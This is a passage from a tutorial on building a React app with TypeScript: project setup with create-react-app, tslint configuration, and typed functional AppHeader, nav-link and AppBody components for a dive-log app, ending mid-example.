danc, don't all open actions constitute implicit actions, on the "shepherd" (raiser) to drive them to completion? <DanC> to some extent, yes, an open issue constitute and implicit action, but tracker is tuned for explicit actions (based on experience that that's the way people work) <DanC> ("raman's request" -- I can't seem to find that; help?) <scribe> ACTION: Larry to provide additional material for review <trackbot> Created ACTION-270 - Provide additional material for review [on Larry Masinter - due 2009-05-28]. <jar> lm: "additional" because some material has already been provided <Zakim> jar, you wanted to volunteer action-270 action-270? <trackbot> ACTION-270 -- Larry Masinter to provide additional material for review -- due 2009-05-28 -- OPEN <trackbot> <DanC> (indeed, people react more to "do you like this?" than "what do you want?") <scribe> ACTION: noah to work with jar to draft strawman agenda for F2F <trackbot> Created ACTION-271 - Work with jar to draft strawman agenda for F2F [on Noah Mendelsohn - due 2009-05-28]. (how do i change the due-date of an action?) NoahM: few things that are big, high prority and judge meeting success, and then a bigger list of smaller items action-255? <trackbot> ACTION-255 -- John Kemp to contact Sam to ask (a) how can the TAG be helpful (b) offer set up phone call involving Sam & 1 or 2 others -- due 2009-05-13 -- PENDINGREVIEW <trackbot> DanC doesn't want to mark it closed. RESOLUTION: action-255 due next week <trackbot> ACTION-255 Contact Sam to ask (a) how can the TAG be helpful (b) offer set up phone call involving Sam & 1 or 2 others due date now next week <jar> john, please edit the action to point to your email to Sam the action should imply that the results of the contact are reported, in email or verbally at a meeting, what the response was, too RESOLUTION: action-255 due next week action-267? <trackbot> ACTION-267 -- Jonathan Rees to [Trivial] Fix bad link in 4/2 minutes -- due 2009-05-21 -- PENDINGREVIEW <trackbot> <NoahM> <DanC> . RESOLUTION: closed (trivial) <DanC> ACTION-23 due next week <trackbot> ACTION-23 track progress of #int bug 1974 in the XML Schema namespace document in the XML Schema WG due date now next week resolution wait for HT on action-23. <DanC> ACTION-231? <trackbot> ACTION-231 -- Larry Masinter to draft replacement for \"how to use conneg\" stuff in HTTP spec -- due 2009-05-13 -- OPEN <trackbot> <DanC> action-231 due next week <trackbot> ACTION-231 Draft replacement for \"how to use conneg\" stuff in HTTP spec due date now next week RESOLUTION: Larry to report next week on status <DanC> .. <DanC> (apologies, but I don't know the date of the ftf; I neglected to put it on ) <DanC> (help?) <DanC> ACTION-201 due 1 aug 2009 <trackbot> ACTION-201 Report on status of AWWSW discussions due date now 1 aug 2009 RESOLUTION: change date to 1 aug <DanC> action-116 due 1 Aug 2009 <trackbot> ACTION-116 Align the tabulator internal vocabulary with the vocabulary in the rules, getting changes to either as needed. due date now 1 Aug 2009 DanC, tag f2f is June 23-26 RESOLUTION: due 1 aug <DanC> ACTION-254? <trackbot> ACTION-254 -- Larry Masinter to send email to www-tag announcing issue-63 -- due 2009-05-13 -- OPEN <trackbot> <DanC> ACTION-254 due next week <trackbot> ACTION-254 Send email to www-tag announcing issue-63 due date now next week action-261? <trackbot> ACTION-261 -- Larry Masinter to followup with Mark Nottingham and Lisa D. regarding Adam Barth's sniffing draft -- due 2009-05-26 -- OPEN <trackbot> action-257? <trackbot> ACTION-257 -- Noah Mendelsohn to schedule TAG to revisit progress in IETF/HTML liaison on content sniffing (invite Mark Not or Lisa D?) -- due 2009-05-15 -- OPEN <trackbot> <DanC> close ACTION-257 <trackbot> ACTION-257 Schedule TAG to revisit progress in IETF/HTML liaison on content sniffing (invite Mark Not or Lisa D?) closed <DanC> action-257? <trackbot> ACTION-257 -- Noah Mendelsohn to schedule TAG to revisit progress in IETF/HTML liaison on content sniffing (invite Mark Not or Lisa D?) -- due 2009-05-15 -- CLOSED <trackbot> <DanC> action-257? <trackbot> ACTION-257 -- Noah Mendelsohn to invite Mark Not or Lisa D to revisit progress in IETF/HTML liaison on content sniffing -- due 2009-05-15 -- OPEN <trackbot> <DanC> " 75th IETF - Stockholm, Sweden <DanC> (July 26-31, 2009) " <DanC> -- RESOLUTION: Noah to ask mnot and LisaD about schedule and availability, scheduling around IETF and vacation times ACTION-264 <DanC> (last communication from tlr was Wed, 6 May 2009 17:34:48 +0200 09 meeting adjourned
http://www.w3.org/2001/tag/2009/05/21-minutes
CC-MAIN-2018-05
refinedweb
1,935
67.28
> I'm not sure what those complaints might be, but I did find that import.c > broke between 1.0.0beta and the official release. Jose is right. I never tested this code on a SunOS 4 system. His patch works -- though you may still have to add #ifndef RTLD_LAZY #define RTDL_LAZY 1 #endif /* RTLD_LAZY */ since on our system that symbol is not defined in the header file. Unfortunately I can't test it any more since *all* use of dlopen on our SunOS 4 systems dumps core with a complaint about failing stub resolution. :-( --Guido van Rossum, CWI, Amsterdam <Guido.van.Rossum@cwi.nl> URL: <>
http://www.python.org/search/hypermail/python-1994q1/0095.html
CC-MAIN-2013-20
refinedweb
106
76.11
Business Case for New Office - Automation Equipment Date: April 15, 2006 Executive Summary This business case recommends purchasing ElectroWorkFlow, an office - automation product that will save $23,400 in labor costs over three years. Process and data improvements resulting from ElectroWorkFlow should increase productivity throughout ABC Company. For example, the productivity of the financial modeling staff may increase by up to 40 hours a year. ElectroWorkFlow will cost $13,500 over th ree years; it will replace leased office - automation equipment that costs $6,000 over three years. The return on investment (ROI) over three years is 218% . The payback period is 1.2 years . Business Opportunity ABC Company has an opportunity to save 260 hour s of office labor annually by automating time - consuming and error - prone manual tasks. This opportunity aligns with ABC Company's objective to grow efficiently and to devote its resources to revenue generating functions. Alternatives The business case team examined the three leading office - automation products. Two of them were eliminated from consideration because they cost from $40,000 to $60,000 over three years. Both products deliver the same benefits as ElectroWorkFlow. Because the products scale well, t hey are viable at companies much larger than ABC Company. Benefits ElectroWorkFlow will provide all the capabilities and benefits of ABC Company's current office - automation product. ElectroWorkFlow will eliminate the $2000 annual cost of the current leased equipment. ElectroWorkFlow will solve two problems that require on average five hours of work each week by administrative assistants: Automatic distribution and updating of shared files Elimination of errors when overwriting files Automatic Distribution and Updating of Shared Files Administrative assistants at ABC Company spend on average three hours a week distributing and updating shared files. ElectroWorkFlow will automate these processes. By automatically distributing and updating shared files, Elect roWorkFlow will save an estimated $4,680 per year in labor costs. Elimination of Errors when Overwriting Files ABC Company's current office - automation product has no built - in safeguards to prevent users from accidentally making changes to an obsolete version of a file and then overwriting the current version with the obsolete version. On average, users accidentally overwrite current files with obsolete files twice a month. Administrative assistants spend an hour correcting each problem. By eliminating these errors, ElectroWorkFlow will save an estimated $3,120 per year in labor costs. Improved Financial Modeling Financial modelers use roughly two dozen shared files. When current data in these shared files is overwritten with obsolete data, financial mod elers must recheck and redo their models. No records are kept for this work, but anecdotal evidence suggests that up to 40 hours per year may be wasted redoing financial models. At $50 per hour, this lost time costs ABC Company up to $2,000 a year. Costs E lectroWorkFlow purchase price: $10,000. Estimated life cycle: three years. Installation fee: $2,000. Annual maintenance contract: $500. Financial Analysis Cash Flow Statement (three years) ABC Company's discount rate as of April 1, 2006, is 0.05. Return on investment (ROI): 218% Net present value (NPV): $13,530 Internal rate of return (IRR): 68% Payback period: 1.2 years Assumptions The volume of shared files will remain the same or increase over the next three years. Significant changes will not occur in the way most shared files are distributed, used, and updated. Sensitivity Analysis To realize $7,800 in annual labor savings, ABC Company must reduce administrative assistant (AA) labor by 260 hours per year. Currently, ABC Company employs three full - time AAs and one part - time AA who works on average 34 hours per week. In 2005 ABC Company hired a leased worker to perform 120 hours of AA tasks. By eliminating the leased worker (120 hours saved) and reducing the part - time AA to 31 hours per week (140 hours s aved), ABC Company will save 260 hours per year in AA labor. Project Description When the business case is approved, the IT department will schedule installation of ElectroWorkFlow over a weekend. ElectroWorkFlow installers will perform all office automati on conversion and testing work with the assistance of ABC Company's regular weekend IT staff. ElectroWorkFlow trainers will provide a half day of training to a member of the IT staff and a half - day of training to the administrative assistants. The office manager will monitor the administrative assistants' time reports each week to make sure that ABC Company realizes the anticipated labor savings. If administrative assistants encounter problems, they will report them to the IT support staff. The office mana ger will prepare a monthly report on administrative assistant labor savings and submit it to the directors of IT and finance. Implementation Plan ElectroWorkFlow will be installed over the weekend of June 24 - 25, 2006. Note: The lease for the current office - automation equipment expires on July 1, 2006. ElectroWorkFlow will be production ready at 6:00 am on Monday, June 26, 2006. A member of the IT staff will be trained from 9 - 12 am on June 26, 2006. Administrative assistants will be trained from 1 - 4 pm on Ju ne 26, 2006. Recommendations This business case recommends purchase of ElectroWorkFlow on June 23, 2006, and installation over the weekend of June 24 - 25, 2006. The $2,000 annual lease for the current equipment expires on June 30, 2006. To avoid renewing th e lease, ABC Company should install ElectroWorkFlow no later than June 24 - 25, 2006. If necessary, ABC Company can install ElectroWorkFlow over another weekend in June 2006. This schedule will enable ABC Company to realize the project's net present value of $13,530 by July 1, 2009. Log in to post a comment
https://www.techylib.com/en/view/basicgratis/business_case_for_new_office-automation_equipment
CC-MAIN-2017-51
refinedweb
949
54.12
Search the Community Showing results for tags 'debug'. Found 50 results Why this random drop of FPS in Chrome? kraftwer1 posted a topic in Questions & AnswersI've noticed random drops of FPS in Chrome during a simple movement of a simple sphere. So I made a profile and the drop is clearly visible (suddenly down at 27 FPS). However, I have no idea what caused this to happen. There is nothing unusual to me within this profile. What can I do to dig deeper and eventually solve this problem? I doubt that it this is related with Babylon.js itself nor with my code... It's probably a Chrome issue - and it doesn't happen in Safari.!!! Help with Debugging... AdamRyanGameDev posted a topic in Phaser 3I am trying to debug a problem with dynamicBitmapText The code was pretty much lifted out of phaser labs.io in preload() this.load.bitmapFont('robotoBitmap', 'media/roboto.png','media/roboto.fnt'); in create() scroller = this.add.dynamicBitmapText(200, 200,'robotoBitmap', scrollerContent, 18); scroller.setSize(200,200); in update(time,delta) scroller.scrollY += 0.03 * delta; if (scroller.scrollY > 200) { console.log('called!'); scroller.scrollY = 0; } global vars var scroller; var scrollerContent = ['line1','line2','line3']; I have entered the scene it is happening and with the console (chrome) i have inspected the "var scroller." Depth, Alpha, Visible, valid xy pos, xy height all fine, the content is there and the png and fnt files are not empty! I have put a console.log in the middle of the only update loop it is calling... if (scroller.scrollY > 200) { console.log('called!'); scroller.scrollY = 0; } and the console is logging 'called' every few seconds. What/Where to do/go next? Any ideas much appreciated! A visualization tool for material debugging! renjianfeng posted a topic in Demos and Projectsurl: This is a simple and efficient material debugging tool that allows you to upload your own model, and then export the unique identification of the url, like "babylonjs - playground", some of the above function on existing tools, such as:, and now, it supports the material properties of very little, but we will extend the content later. You can simply modify the properties below PBRSpecularGlossinessMaterial 、PBRMetallicRoughnessMaterial 、 StandardMaterial 、light Here's a video demonstration - plugin Phaser Plugin PocketDebug samid737 posted a topic in Phaser 2PocketDebug displays fps and timing graphs inside A HTML DOM Text element for maximum conciseness. Source & Docs Demo NPM pocketplot is the platform independent version . It can be used if you want to add a graph to A plain website. Looking forward to receive feedback (please do), ideas, contributions, optimizations so that the plugin can be enhanced for Phaser Debug Inspector and TypeScript Flux posted a topic in Questions & AnswersHi, So, I've been following many tutorials but appear to be stuck at the first hurdle. I don't appear to be able to use the Debug Inspector if I'm using TypeScript and ES6 imports. I've setup my first scene using the initial tutorial (a sphere and a surface) on the website just fine using the TypeScript documentation (creating a Game class and so on). To do this in the ES6 way I import BabylonJS from node_modules by doing import * as BABYLON from 'babylonjs'; at the top of my .ts file and it works like a charm. Then I add this.scene.debugLayer.show(); to show the debug panel and I'm then faced with the following error in the Chrome debug console: babylon.inspector.bundle.js:408 Uncaught ReferenceError: BABYLON is not defined at INSPECTOR (babylon.inspector.bundle.js:408) at Object.t (babylon.inspector.bundle.js:408) at __webpack_require__ (babylon.inspector.bundle.js:21) at Object.<anonymous> (babylon.inspector.bundle.js:49) at __webpack_require__ (babylon.inspector.bundle.js:21) at babylon.inspector.bundle.js:41 at babylon.inspector.bundle.js:44 This is because it's absolutely right, the namespace BABYLON isn't included globally, my application is ES6, imports libraries where needed and then concatenates using Webpack. I moved to BabylonJS because it's dev team seemed to embrace TypeScript and ES6 but can't believe that something like this would have been overlooked? So that leads me to thinking I'm doing something wrong here. The only way I can see this working (which I found some libraries to do) is if the show() function to take the BABYLON object directly as an optional parameter, rather than expect for it to exist on the window (because it won't if you're importing ES6 style and webpacking). Open to thoughts and suggestions on this one as I'm new to BabylonJS. If I'm right with the above and it's just not something that has been done yet, I don't mind submitting a pull request. Can't debug.body on a group! nicwins posted a topic in Phaser 2Hi, in my render function, I have the following: render: function() { this.game.debug.body(this.player); this.game.debug.body(this.redMonstarsGroup); }, Now, the player, has a little green box around him, however the monster (or the group of monsters) has nothing and I get a warning: " gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, texture.source);" HOW TO I GET A LITTLE GREEN DEBUG BODY ON A GROUP OF OBJECTS? Get complete shader source code on error PeapBoy posted a topic in Questions & AnswersHi everybody ! While I was writing my latest shader, I juste came up with annoying errors like this one : Guess what ? No, my typo is NOT at line 85. And I wondered why we couldn't have the real source code. The one after conversion, addition of defines and insertion of includes. Therefore the one where the typo actually IS at line 85. I know that getVertexShaderSource() function exists but it doesn't work without a successfully compiled program (and on success, no need of debugging). Guess what ? It's easy to get ! (Open your console) I would like to know, @Deltakosh , would you be interested in a PR for that or is it already implemented somewhere/useless ? Because in my PR I had to compute again the migratedVertexCode and migratedFragmentCode values, but these ones are available when entering the Effect.noError callback in the _prepareEffect() function... If you're interested, I see two options : - Just returning the two values in the onError callback and let the user make something with that. - Or printing the source code with numbered lines by default exactly as you print the defines Just let me know what you think is better. PeapBoy debug doesn't seem to work? WhipJr posted a topic in Phaser 2I've recently been coding an infinite runner game in which the player is allowed to attack freely as they encounter obstacles and enemies. this being said, there is various objects that use collisions and physics bodies for collision detection and i have tried everything i have found to render the debug boxes to no avail. Attack = function() { Phaser.Sprite.call(this, game, player.x + 15, player.y, 'Attack'); game.add.existing(this); game.physics.enable(this, Phaser.Physics.ARCADE); this.animations.add('attack'); this.animations.play('attack', 8, false, true); this.body.setSize(50, 80, 30, 0); this.body.allowGravity = false; this.body.immovable = true; game.time.events.add(Phaser.Timer.SECOND * attackSpeed, setAttack, this); curAtk = this; }; //these set the variable 'Objects' Attack.prototype = Object.create(Phaser.Sprite.prototype); Attack.prototype.constructor = Enemy; //this checks conditions specific for the Attack Object made through the class every update. Attack.prototype.update = function() { this.x = player.x + 15; this.y = player.y; this.game.debug.bodyInfo(this); }; here is specifically the attacking object spawn which spawns the attack object, and on the last line of actual code i try to call the debug information to render. I'm not sure that this is the way to do it, but i have added the "render: render" to my game initialization and tried to call the code in that as well plus using the references within the examples as well and i cannot for the life of me figure out why the body's are not debugging allowing me to fine tune the desired collision areas. Any thoughts or ideas are welcome. if more code is needed of what i have i can upload my JS files. Also a quick note, there are no error messages. and everything runs as expected aside from the debugging aspect and proper hit-box areas.?! ) ??? Debug Phaser ES6 + WebPack in WebStorm Igor Georgiev posted a topic in Phaser 2Hey guys, I have decided to start using webpack and ES6 with my games, I have managed to run a sample with 'npm start', however I am unable to debug it in WebStorm. I am using the example here: This is my debug configuration in the image. I would like to use npm directly from WebStorm and be able to debug my code with preview in the browser. Also I have heard that it is possible to have live editing set up, so my code changes will appear immediately in the browser. Has anyone done.! FConsole: a tool for debugging pixi.js based applications Flashist posted a topic in General TalkI've just published the library called FConsole, which should help pixi.js developers with debugging visual elements (the same as it was with the Flash-Console in Flash). Demo site Features Display List Inspector Hierarchy Properties Editing Any feedback is welcomed! How to debug separate phaser files? flahhi posted a topic in Phaser 2Hi there. I have phaser game project and I want to setup debugger for all phaser files from repository. I can build my own single-file phaser via npm, but it is not comfortable rebuild every time after such minor changes. So interesting, how @rich (for example) use debugger for phaser (single-file debugging, or for all separate files)? And how is correctly setup the project for debug core-code. I need include all core files into my own html file, or I can use some special hack or existing sources?. debugLayer not showing for babylon.2.4.max.js Hudo1979 posted a topic in Questions & AnswersI try to turn on debugLayer but nothing is show, and no error in the javascript console. I only have one camera scene.debugLayer.show(true); Blender Number of Verts vs Babylon Export Vertices ian posted a topic in Questions & AnswersCan anybody explain me why blender model shows for example 490 verts but bayblon export file in bayblon import meshes has 562 Vertices? (It is just default cube and default sphere create with blender. I have some model which have in blender around 2.027 but babylon (debug) after importing shows 22.776 ? (this is huge differences.) There are no double vertices, because I clean all doubles in blender! Why those differences of vertices between blender and babylon 3D environment ??? Please explain me what is happening here? greetings How do I remove the debug draw sprites from a physics body? deedeekaka posted a topic in Phaser 2Hello, I've been following a Phaser spring example and I've been trying to remove the overlay sprite it draws on my circular physics body (I assume it adds this when I call body.setCircle(5)). Does anyone know how to remove this? I don't want to remove the body, I still want the physics, I just don't want the extra debug drawn sprite. Thanks how to remove the tilesprite debug messages? Cedric posted a topic in Phaser 2Hello everyone, Does anyone of you know how I can disable the tilesprite debugging messages? example in the attachment Very Kind Regards, Cedric Statistics window in debug layer isn't showing entirely (preview release) etherlind posted a topic in BugsI got the latest babylon.js preview release build from git, and it seems like the statistics window from the debug layer is partially hidden. I tried it both in Chrome and Firefox. It doesn't happen with the stable 2.2 version.
http://www.html5gamedevs.com/tags/debug/
CC-MAIN-2018-26
refinedweb
2,009
56.86
I've been watching this discussion and wondering - how much of the problems people complain about would go away if here was a "teaching" distribution of python. That is one that did the equivalent of from teaching import * to put things in the global namespace at start time. Generally this wouldn't be wanted, but would be useful for putting back the things which people are worried about losing. ie something akin to: ~/Local> python -i mymods.py >>> myinput <built-in function raw_input> >>> ~/Local> cat mymods.py #!/usr/bin/python myinput = raw_input ~/Local> That way you'd get the same default "experience" for beginners (and I think this is vitally important myself "raw_input" and "print" are *absolutely* *without a shadow of a doubt* *must haves* inside the default namespace for a user (however this is implemented - preferably inside an overrideable library rather than as language keywords). Byt that's my tuppence worth. Given we could fake the existance of raw_input today, how useful would a teaching mode be? (think bicycle stabilisers for an analogy as to when they come off) Michael On Wednesday 06 September 2006 22:51, John Zelle wrote: > On Wednesday 06 September 2006 1:24 pm, Arthur wrote: > > John Zelle wrote: > > >I have no idea what you mean here. Speaking only for myself, I am simply > > >stating that a language that requires me to use an extended library to > > > do simple input is less useful as a teaching tool than one that does > > > not. I also gave arguments for why, as a programmer, I find it less > > > useful. You have not addressed those arguments. > > > > /I think I have. > > > > In the decorator discussion on python-list I became the self-appointed > > founder and chairman of the CLA - Chicken Little Anonymous. Which was > > some self-deprecation in connection with my role in the int/int and > > case-sensitivity ddiscussions. And allowing me some freedom to > > adamantly voice my opinions on the introduction of decorators - I was > > adamantly against - while letting it be known that I thought Python > > would well survive the outcome, whatever it ended up being. > > > > My opinion here is that you are probably right in some senses, probably > > wrong in others - and that Python will be not be *significantly* less > > useful for pedagogical purposes, whatever the outcome of the issue. > > > > So I choose to speak to the tone of the discussions as more to the > > substance of the issue, than is the substance of the tissue itself. And > > as the more important issue. > > Fair enough. But I still think you are having a hasty reaction here. This > discussion (as I have read it) has not been about making Python or > programming easy. It's been about what makes Python useful both for > programmers and for the education of new programmers. Please see the actual > arguments made in this thread. Sometimes I think you > dismiss opinions based on pedagogical foundations a bit too quickly and > off-handedly. In my experience, a good language for teaching is a good > language, period. A barrier for pedagogy is very often a barrier to > natural/useful conceptualizations, and that speaks to language design for > all users. > > People often say that Pascal was designed as a "teaching language." I > remember a written interview with Nicklaus Wirth where he was asked what > makes Pascal a good teaching language, and his reponse, as I remember it, > was something like: Pascal is not a teaching language and was never > intended to be; it was designed to be a good programming language. The > features of its design that make it a good programming language are what > make it a good teaching languge. > >. > > --John
https://mail.python.org/pipermail/edu-sig/2006-September/006990.html
CC-MAIN-2018-26
refinedweb
606
59.43
Among the heavy hitters in the frontend web application frameworks, React, by the lovely engineers at Facebook, is easily one of the most popular. According to the React docs, React is: A javascript library for building User Interfaces. React gives us a powerful API for build component-based, declarative, UI elements. We can then compose these components together to make feature-rich and powerful web applications. The key here is the component-based architecture. Components are the building blocks of React applications and they should encapsulate a single piece of UI functionality as well as maintain their own state. Input data can be passed into a component via the component props. The component can interact with these props and display them through the component render to be displayed to the user in the UI. Table of contents TypeScript To make our components resilient, and better understand the data props being passed into them, we can add TypeScript support to our React applications and type our props. By adding this support, our app can use the power of TypeScript to provide intellisense, linting, and compile-time errors; these work together to help engineers build and compose components. Doing this, if we try to pass in incorrect data to a component, our app will fail to compile vs. failing at runtime. This means these failures should not reach the end-user. But what is TypeScript? Created by Microsoft, according to the docs: TypeScript is a typed superset of JavaScript that compiles to plain JavaScript TypeScript works on any browser, on any OS, and can be used to build scalable, powerful NodeJs APIs as well. Let’s Build an App Time to put these tools to use. We will build a React application with TypeScript support to display and interact with some data and see the value of building our React components using `TypeScript. If you prefer to jump straight into the code, check out the repo here. Or, checkout the codesandbox here. Create the App First, lets bootstrap our app using the create-react-app script: npx create-react-app my-dive-log --typescript # or yarn create react-app my-dive-log --typescript Note: per the create-react-app docs, they recommend uninstalling the create-react-app if you have it installed globally and using one of the methods listed above to guarantee you are using the most up-to-date. Once finished, we have a directory: my-dive-log with a few files generated by the script to get us started: |- node_modules |- public | |- favicon.ico | |- index.html # <- root app page where the compiled JavaScript and css are injected to run the app | |- manifest.json # <- used for PWA |- src # <- app code root directory | |- App.tsx # <- Describes our Application JSX. Top-Level component | |- App.css # <- App component styles source | |- App.test.tsx # <- App.tsx unit test file | |- index.tsx # <- application root file where the App is registered with the ReactDOM into the root element in the index.html | |- index.css # <- root app level styles | |- serviceWorker.ts # <- PWA service worker code |- .gitignore |- package.json |- tsconfig.json # <- TypeScript configuration file. Specifies the root files and compiler options This provides us with the required packages and files to establish our React app as a TypeScript project so it can be compiled and ran. If you look at the scripts in the package.json file, you will see a few scripts like start. This uses the react-scripts start while will compile and run our application. Open a terminal in this directory and let us run it: yarn start # or, with npm npm start If successful, a browser window should open with our app! TypeScript Linting The addition of TypeScript help to enforce not only type-safety but allows us to introduce rules to make our code more readable, maintainable, and functionality-error free. These rules are established through a static analysis tool calling tslint. It allows us to adopt industry-standard linting and gives us the ability to override rules as you see fit (want longer print lines? single-quotes vs double quotes? etc). Let’s add tslint and a couple tslint rules libraries to our app to enforce quality coding practices: yarn add --dev tslint tslint-config-prettier tslint-react # with npm npm install --save-dev tslint tslint-config-prettier tslint-react tslintis the base static analysis tools lib tslint-config-prettieris a tslint plugin library to have tslint behave well with prettier; if you don’t use prettier (which I highly recommend), then this library is not necessary tslint-reactis a tslint plugin library that has rules around utilizing TypeScript with React To add support, create a file in the root directory called tslint.json; this is where we establish and can override our tslint rules: { extends: ["tslint-react", "tslint-config-prettier"], linterOptions: { exclude: [ "config/**/*.js", "node_modules/**/*.ts", "coverage/lcov-report/*.js" ] }, rules: { "jsx-no-lambda": false }, defaultSeverity: "warning" } Pretty basic right now, we extend the tslint-react & tslint-config-prettier plugin libraries to utilize the rules they have established with 1 override in the rules section: "jsx-no-lambda": false; this is just a personal preference to turn off the jsx-no-lambda rule. A look at our App React Functional Component As mentioned, one of the files generated for us is ./src/App.tsx. Open this file and take a look: import React from "react"; import logo from "./logo.svg"; import "./App.css"; const App: React.FC = () => { return ( <main className="App"> <header className="App-header"> <img src={logo} <p> Edit <code>src/App.tsx</code> and save to reload. </p> <a className="App-link" href="" target="_blank" rel="noopener noreferrer" > Learn React </a> </header> </main> ); }; export default App; The key here is that we have a const variable named App which is of type React.FC or Functional Component. React promotes 2 types of components: Class Components and Functional Components. The idea of a Functional Component is that it is a pure function; pure meaning - its return value is only determined by the input values (it does not use-values outside of those passed to it as input), its return values are always the same given the same input. Pure functions are the way to be as they are much easier to encapsulate, test, maintain, and read. By design, functional components are stateless; meaning they do not have access to state or have a lifcecyle; this was until the addition of hooks in React 16.8. Now with hooks, we can use React Functional Components that interact with our state as well. Hooks are amazing and I will be writing another post about hooks in this article series; stay tuned. React works on the component concept that allows us to build components and then compose them together. Our App component defined here will be our top-level component where we will compose our other components as children. I like to think of this as our App shell where we can define components that will be shared across our app; things such as our app header, with navigation, authenticated user info, etc; an app footer if needed, our top-level route definitions if needed; etc. We will build a couple of components in this article and add them to this App component. App Header To start, let’s create a header component that will sit at the top of our app; show the app title, a short description, and a couple of navigation links. Create a folder inside of ./src named containers; this is where we will place smart “containing” components. mkdir ./src/containers And inside of this directory, create a file named AppHeader.tsx; note the .tsx extension, this declares our file as a JSX file with TypeScript. Using this extension allows us to have type-safety with our components and reap the advantages of TypeScript. touch ./src/containers/AppHeader.tsx # create the css file as well touch ./src/containers/AppHeader.css Open the created AppHeader.tsx file and let’s create a React Functional Component that takes in props for use in our header. import React from "react"; import "./AppHeader.css"; import AppHeaderNavLink, { NavLink } from "./AppHeaderNavLink"; // define our AppHeader properties that will be passed into the component export type AppHeaderProps = { title: string; description: string; links: NavLink[]; }; // create React Functional Component variable that will render our code for our header. // React.FC takes a type of the props that can be passed into the component const AppHeader: React.FC<AppHeaderProps> = React.memo( ({ title, description, links }) => { return ( <header className="app-header"> <section className="app-title"> <h1>{title}</h1> <small>{description}</small> </section> <span className="fill-space" /> <section className="app-links"> {links && links.map((link: NavLink) => ( <AppHeaderNavLink label={link.label} route={link.route} key={link.label} /> ))} </section> </header> ); } ); export default AppHeader; First, we define a type; AppHeaderProps that represents our props. This type will have the app title, description, and an array of links of type NavLink (described next). This type will be declared as the type on our AppHeader Functional Component. This is what the component will expect as props. If a value for a prop is not provided, we will see the little red-squiggly line under our component declaration telling us that it is missing the given type. Same if we give a prop an incorrect value type. This is the magic of adding TypeScript to our React components. It helps us better understand what our components expect and will fail at compile time, instead of runtime. This also helps new engineers to a codebase pickup and work in the code quicker as the tooling helps them learn and understand the component and how to compose them together to build out the app. Navigation Links Component with React.memo In the AppHeader component you can see we bring in another component as well: AppHeaderNavLink, we will go through this component now. It is a simple component that takes and displays a NavLink so that we can add routing to our component; it is a good show of the composability of React and the use of array.map to iterate over an array and compose components. Note This will not route anywhere just yet, there will be an article in this series on react routing as well. We will create this component, along with its styling in a components directory. This directory will contain low-level view components (sometimes called dumb components). These components should not be responsible for anything more than receiving and displaying its received props. Any business logic should be done in a container component. Create the components directory and this AppHeaderNavLink.tsx file in the directory: # create directory mkdir ./src/components # create AppHeaderNavLink files touch ./src/components/AppHeaderNavLink.tsx touch ./src/components/AppHeaderNavLink.css And open the created AppHeaderNavLink.tsx: import React from "react"; import "./AppHeaderNavLink.css"; // define a Navigation Link type for our links export type NavLink = { label: string; route: string; }; const AppHeaderNavLink: React.FC<NavLink> = React.memo(({ label }) => ( <span className="nav-link">{label}</span> )); export default AppHeaderNavLink; Just like the AppHeader component above, we define a const variable of type React.FC, or functional component, that takes NavLink for its prop types. We did introduce another React concept here: React.memo. This function was introduced with React 16.6. memo is short for memoization. This is a concept to speed up the rendering of a component by memoizing the rendered result. What this does is before the next render of the component, if the props passed into the component are the same from the previous render, the memoized result will be reused; saving time. As with anything, there are tradeoffs and React.memo should not be used in all situations (still no silver bullets). Check out this article on good use-cases on when to use React memoization here. Adding the AppHeader to App With our AppHeader component built, we need to add it to our App.tsx file to display the header: First, we need to import the AppHeader, and we will also import the AppHeaderProps to make an instance of these props to pass to the component: import AppHeader, { AppHeaderProps } from "./containers/AppHeader"; // build an instance of our AppHeaderProps to pass to the AppHeader component const headerProps: AppHeaderProps = { title: "My Dive Log", description: "Log, Track, Review your dive logs and relive the experience", links: [ { label: "Logs", route: "/logs/list" }, { label: "New Entry", route: "/logs/create" } ] }; We will now add this component to the App render as a child component: const App: React.FC = () => ( <main className="App"> <AppHeader title={headerProps.title} description={headerProps.description} links={headerProps.links} /> </main> ); I replaced all the content inside of the top-level main element and added the header here as the first child in the tree. Just like adding the AppHeaderNavLink component to our AppHeader, we compose the AppHeader into App. This component-based design is the crux of the React framework. Build encapsulated, readable, single-use components to build UI functionality and then compose these components together to build an app. App Body With our header in place, let’s give some content to the body of the app to finish out this first iteration. Create another container component in our containers directory called AppBody (I know, super great name). # create AppBody tsx file touch ./src/containers/AppBody.tsx # and create AppBody css styles touch ./src/containers/AppBody.css Let’s add some basic props to display a header, a quote, and some children in this area. import React from "react"; const AppBody: React.FC<{ header: string; quote?: string }> = ({ header, quote, children }) => ( <section className="app-body"> <section className="body-content"> <h2>{header}</h2> {quote && <blockquote>{quote}</blockquote>} </section> {children && {children}} </section> ); export default AppBody; Unlike in our AppHeader, I did not create a type for the props and built it out inline. This works just fine if we have a limited number of props for a component that we will not reuse in other areas of the app. Our AppBody also exposes another react concept you may be familiar with; children. children is Reacts nomenclature of child elements that can be passed into the component and displayed. These elements can be other html elements like a div or span, etc; or it can be components that we have created. This is a way for a component to declare that whoever utilizes this component can pass in any children as they wish and they will be rendered into the DOM where this component places them. This is a very powerful method of composing components in our app. You also see a way to test if a prop has a value before adding an element for the prop into the DOM: { quote && <blockquote>{quote}</blockquote>; } This is how we can add/remove elements to/from the DOM. This says if the prop quote is not null or undefined, then add the blockquote element to the DOM to display the quote. Open App again and lets import and add the AppBody to our app and pass some children in. First, we need to import the AppBody: import AppBody from "./containers/AppBody"; And now we will compose it into our component. I generated some sweet bacon ipsum text for our quote to pass into the body: const bodyQuote = ` Spicy jalapeno bacon ipsum dolor amet ball tip turducken brisket veniam beef ribs ipsum, ex pig doner strip steak t-bone. Bacon swine shankle, pastrami tail chuck strip steak kevin. T-bone mollit kevin chicken id sirloin tenderloin irure pork chop ball tip lorem qui. Tenderloin et tri-tip, porchetta cillum in occaecat. Cow sint magna pork loin, officia laboris in boudin doner. Frankfurter burgdoggen cupim, pariatur consequat salami tempor. Bresaola jerky laboris alcatra shoulder filet mignon exercitation proident non. Leberkas hamburger aute labore meatball. Shank labore reprehenderit culpa. Buffalo eu shankle chuck sed cillum ut burgdoggen turducken bresaola pariatur landjaeger. Consectetur excepteur burgdoggen filet mignon enim, boudin ad pork chop. Turducken ut sint, cow pork chop dolore chicken reprehenderit jowl. Ad pariatur pig fatback. `; const App: React.FC = () => ( <main className="App"> <AppHeader title={headerProps.title} description={headerProps.description} links={headerProps.links} /> <AppBody header="My Dive Log Dashboard" quote={bodyQuote}> <p> I am a child element to the App Body and will be rendered in the App Body 